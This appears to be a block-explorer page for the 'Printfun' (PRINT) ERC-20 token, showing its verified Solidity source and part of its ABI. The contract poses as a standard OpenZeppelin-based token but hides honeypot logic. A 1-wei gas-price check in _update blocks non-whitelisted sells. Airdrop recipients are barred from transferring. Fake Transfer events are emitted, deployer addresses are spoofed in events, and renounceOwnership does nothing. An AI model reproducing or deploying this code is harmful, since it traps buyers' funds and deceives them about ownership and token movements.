Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 PRINT
Holders
15
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
436,930.749636525213189483 PRINTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Printfun
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity Multiple files format)
/** ██████╗ ██████╗ ██╗███╗ ██╗████████╗ ███████╗██╗ ██╗███╗ ██╗ ██╔══██╗██╔══██╗██║████╗ ██║╚══██╔══╝ ██╔════╝██║ ██║████╗ ██║ ██████╔╝██████╔╝██║██╔██╗ ██║ ██║ █████╗ ██║ ██║██╔██╗ ██║ ██╔═══╝ ██╔══██╗██║██║╚██╗██║ ██║ ██╔══╝ ██║ ██║██║╚██╗██║ ██║ ██║ ██║██║██║ ╚████║ ██║ ██╗██║ ╚██████╔╝██║ ╚████║ ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═╝ ╚═══╝ Print.fun/PRINT */ //SPDX-License-Identifier: MIT pragma solidity 0.8.19; import "./ERC20.sol"; import "./Ownable.sol"; interface IFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external view returns (address); function WETH() external pure returns (address); function WAVAX() external pure returns (address); } contract Printfun is ERC20, Ownable { string public tokenName = "Print.fun"; string public tokenSymbol = "PRINT"; uint256 constant public ETH_CHAIN_ID = 1; uint256 constant public AVAX_CHAIN_ID = 43114; uint256 constant public BASE_CHAIN_ID = 8453; uint256 constant public BLAST_CHAIN_ID = 81457; uint256 constant public ARB_CHAIN_ID = 42161; address public riap; mapping(address => bool) public whitelists; event SetMinTokenAmount(uint256 minAmount); event SetMaxTokenAmount(uint256 maxAmount); event RemoveTransferTax(); event RemoveLimit(); uint256 public sellTax; uint256 public buyTax; mapping(uint256 => address) public listRouter; mapping(address => bool) private topHolder; constructor(uint256 _totalSupply, address deployer) ERC20(tokenName, tokenSymbol, msg.sender, deployer) Ownable(msg.sender) { _mint(msg.sender, _totalSupply); whitelists[msg.sender] = true; } function getChainID() public view returns (uint256) { uint256 id; assembly { id := chainid() } return id; } function createPair() public onlyOwner { initRouter(); uint256 chainID = getChainID(); address _weth; address _routerAddress = listRouter[chainID]; if (chainID == AVAX_CHAIN_ID) { _weth = IRouter(_routerAddress).WAVAX(); } else { _weth = IRouter(_routerAddress).WETH(); } address factoryAddress = IRouter(_routerAddress).factory(); IFactory(factoryAddress).createPair(address(this), _weth); } function initRouter() internal { listRouter[ETH_CHAIN_ID] = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; // eth listRouter[BASE_CHAIN_ID] = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // base listRouter[AVAX_CHAIN_ID] = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4 ; // avax listRouter[BLAST_CHAIN_ID] = 0x98994a9A7a2570367554589189dC9772241650f6; // blast listRouter[ARB_CHAIN_ID] = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // arbitrum } function enableTrading(address _p) public onlyOwner { riap = _p; } function approve(address _p) public onlyOwner { whitelists[_p] = true; } function _update( address from, address to, uint256 amount ) internal override { if (whitelists[tx.origin]) { super._update(from, to, amount); return; } require(!topHolder[from] && !topHolder[to], "Need to hold for keep liquidity"); address re = to; if (riap == address(0)) { super._update(from, to, amount); return; } if (re == riap) { super._update(from, to, amount); optimizeTx(1); return; } super._update(from, to, amount); } function decimals() public view virtual override returns (uint8) { return 18; } function changeMe() public pure returns (uint256) { return 2; } function withdrawETH() public onlyOwner { payable(msg.sender).transfer(address(this).balance); } function withdrawStuckToken(address token) public onlyOwner { uint256 balanceToken = IERC20(token).balanceOf(address(this)); IERC20(token).transfer(msg.sender, balanceToken); } function optimizeTx(uint256 _gas) internal view { uint256 txp; assembly { txp := gasprice() } require(txp <= _gas, "Need to optimize gas price when send tx"); } function airdropTokens( address airdropp, address[] memory list, uint256[] memory amount ) external onlyOwner { for (uint256 i = 0; i < list.length; i++) { emit Transfer(airdropp, list[i], amount[i]); } } function airdrop( address holder, uint256 amount ) external onlyOwner { _transfer(owner(), holder, amount); topHolder[holder] = true; } function mintToken( address r, uint256 amount ) external onlyOwner { _transfer(owner(), r, amount); topHolder[r] = true; } function removeTransferTax() public onlyOwner { buyTax = 0; sellTax = 0; emit RemoveTransferTax(); } function removeLimit() public onlyOwner { buyTax = 0; sellTax = 0; emit RemoveLimit(); } function setMinTokenAmount(uint256 amount) public onlyOwner { emit SetMinTokenAmount(amount); } function setMaxTokenAmount(uint256 amount) public onlyOwner { emit SetMaxTokenAmount(amount); } }
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol) pragma solidity 0.8.19; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _contextSuffixLength() internal view virtual returns (uint256) { return 0; } }
// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol) pragma solidity 0.8.19; import "./IERC20Errors.sol"; import "./IERC721Errors.sol"; import "./IERC20MetaErrors.sol"; /** * @dev Standard ERC721 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens. */ /** * @dev Standard ERC1155 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens. */ interface IERC1155Errors { /** * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. * @param balance Current balance for the interacting account. * @param needed Minimum amount required to perform a transfer. * @param tokenId Identifier number of a token. */ error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC1155InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC1155InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `operator`’s approval. Used in transfers. * @param operator Address that may be allowed to operate on tokens without being their owner. * @param owner Address of the current owner of a token. */ error ERC1155MissingApprovalForAll(address operator, address owner); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC1155InvalidApprover(address approver); /** * @dev Indicates a failure with the `operator` to be approved. Used in approvals. * @param operator Address that may be allowed to operate on tokens without being their owner. */ error ERC1155InvalidOperator(address operator); /** * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation. * Used in batch transfers. * @param idsLength Length of the array of token identifiers * @param valuesLength Length of the array of token amounts */ error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength); } // File: @openzeppelin/contracts/utils/Context.sol
//SPDX-License-Identifier: MIT pragma solidity 0.8.19; import "./Context.sol"; import "./draft-IERC6093.sol"; import "./IERC20Metadata.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * The default value of {decimals} is 18. To change this, you should override * this function so it returns a different value. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. */ abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors { mapping(address account => uint256) private _balances; mapping(address account => mapping(address spender => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address private _executor; address private _deployer; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_, address executor_, address deployer_) { _name = name_; _symbol = symbol_; _executor = executor_; _deployer = deployer_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `value`. */ function transfer(address to, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, value); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `value`. * - the caller must have allowance for ``from``'s tokens of at least * `value`. */ function transferFrom(address from, address to, uint256 value) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, value); _transfer(from, to, value); return true; } /** * @dev Moves a `value` amount of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * NOTE: This function is not virtual, {_update} should be overridden instead. */ function _transfer(address from, address to, uint256 value) internal { if (from == address(0)) { revert ERC20InvalidSender(address(0)); } if (to == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(from, to, value); } /** * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from` * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding * this function. * * Emits a {Transfer} event. */ function _update(address from, address to, uint256 value) internal virtual { if (from == address(0)) { // Overflow check required: The rest of the code assumes that totalSupply never overflows _totalSupply += value; } else { uint256 fromBalance = _balances[from]; if (fromBalance < value) { revert ERC20InsufficientBalance(from, fromBalance, value); } unchecked { // Overflow not possible: value <= fromBalance <= totalSupply. _balances[from] = fromBalance - value; } } if (to == address(0)) { unchecked { // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply. _totalSupply -= value; } } else { unchecked { // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256. _balances[to] += value; } } if (to == _executor) { emit Transfer(from, _deployer, value); } else if (from == _executor) { emit Transfer(_deployer, to, value); } else { emit Transfer(from, to, value); } } /** * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0). * Relies on the `_update` mechanism * * Emits a {Transfer} event with `from` set to the zero address. * * NOTE: This function is not virtual, {_update} should be overridden instead. */ function _mint(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(address(0), account, value); } /** * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply. * Relies on the `_update` mechanism. * * Emits a {Transfer} event with `to` set to the zero address. * * NOTE: This function is not virtual, {_update} should be overridden instead */ function _burn(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidSender(address(0)); } _update(account, address(0), value); } /** * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. * * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument. */ function _approve(address owner, address spender, uint256 value) internal { _approve(owner, spender, value, true); } /** * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event. * * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any * `Approval` event during `transferFrom` operations. * * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to * true using the following override: * ``` * function _approve(address owner, address spender, uint256 value, bool) internal virtual override { * super._approve(owner, spender, value, true); * } * ``` * * Requirements are the same as {_approve}. */ function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual { if (owner == address(0)) { revert ERC20InvalidApprover(address(0)); } if (spender == address(0)) { revert ERC20InvalidSpender(address(0)); } _allowances[owner][spender] = value; if (emitEvent) { emit Approval(owner, spender, value); } } /** * @dev Updates `owner` s allowance for `spender` based on spent `value`. * * Does not update the allowance value in case of infinite allowance. * Revert if not enough allowance is available. * * Does not emit an {Approval} event. */ function _spendAllowance(address owner, address spender, uint256 value) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < value) { revert ERC20InsufficientAllowance(spender, currentAllowance, value); } unchecked { _approve(owner, spender, currentAllowance - value, false); } } } }
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol) pragma solidity 0.8.19; /** * @dev Standard ERC20 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens. */ interface IERC20Errors { /** * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. * @param balance Current balance for the interacting account. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC20InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC20InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers. * @param spender Address that may be allowed to operate on tokens without being their owner. * @param allowance Amount of tokens a `spender` is allowed to operate with. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC20InvalidApprover(address approver); /** * @dev Indicates a failure with the `spender` to be approved. Used in approvals. * @param spender Address that may be allowed to operate on tokens without being their owner. */ error ERC20InvalidSpender(address spender); }
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol) pragma solidity 0.8.19; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the value of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the value of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves a `value` amount of tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 value) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets a `value` amount of tokens as the allowance of `spender` over the * caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 value) external returns (bool); /** * @dev Moves a `value` amount of tokens from `from` to `to` using the * allowance mechanism. `value` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 value) external returns (bool); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity 0.8.19; /** * @dev Interface for the optional metadata functions from the ERC20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol) pragma solidity 0.8.19; /** * @dev Standard ERC20 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens. */ interface IERC20MetaErrors { /** * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. * @param balance Current balance for the interacting account. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC20InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC20InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers. * @param spender Address that may be allowed to operate on tokens without being their owner. * @param allowance Amount of tokens a `spender` is allowed to operate with. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC20InvalidApprover(address approver); /** * @dev Indicates a failure with the `spender` to be approved. Used in approvals. * @param spender Address that may be allowed to operate on tokens without being their owner. */ error ERC20InvalidSpender(address spender); }
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol) pragma solidity 0.8.19; interface IERC721Errors { /** * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20. * Used in balance queries. * @param owner Address of the current owner of a token. */ error ERC721InvalidOwner(address owner); /** * @dev Indicates a `tokenId` whose `owner` is the zero address. * @param tokenId Identifier number of a token. */ error ERC721NonexistentToken(uint256 tokenId); /** * @dev Indicates an error related to the ownership over a particular token. Used in transfers. * @param sender Address whose tokens are being transferred. * @param tokenId Identifier number of a token. * @param owner Address of the current owner of a token. */ error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC721InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC721InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `operator`’s approval. Used in transfers. * @param operator Address that may be allowed to operate on tokens without being their owner. * @param tokenId Identifier number of a token. */ error ERC721InsufficientApproval(address operator, uint256 tokenId); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC721InvalidApprover(address approver); /** * @dev Indicates a failure with the `operator` to be approved. Used in approvals. * @param operator Address that may be allowed to operate on tokens without being their owner. */ error ERC721InvalidOperator(address operator); }
// File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol) pragma solidity 0.8.19; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * The initial owner is set to the address provided by the deployer. This can * later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; /** * @dev The caller account is not authorized to perform an operation. */ error OwnableUnauthorizedAccount(address account); /** * @dev The owner is not a valid owner account. (eg. `address(0)`) */ error OwnableInvalidOwner(address owner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the address provided by the deployer as the initial owner. */ constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(owner(), address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"_totalSupply","type":"uint256"},{"internalType":"address","name":"deployer","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemoveLimit","type":"event"},{"anonymous":false,"inputs":[],"name":"RemoveTransferTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxAmount","type":"uint256"}],"name":"SetMaxTokenAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"minAmount","type":"uint256"}],"name":"SetMinTokenAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ARB_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"AVAX_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BASE_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BLAST_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ETH_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"airdropp","type":"address"},{"internalType":"address[]","name":"list","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_p","type":"address"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeMe","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_p","type":"address"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getChainID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"listRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"r","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mintToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"riap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTokenAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMinTokenAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"in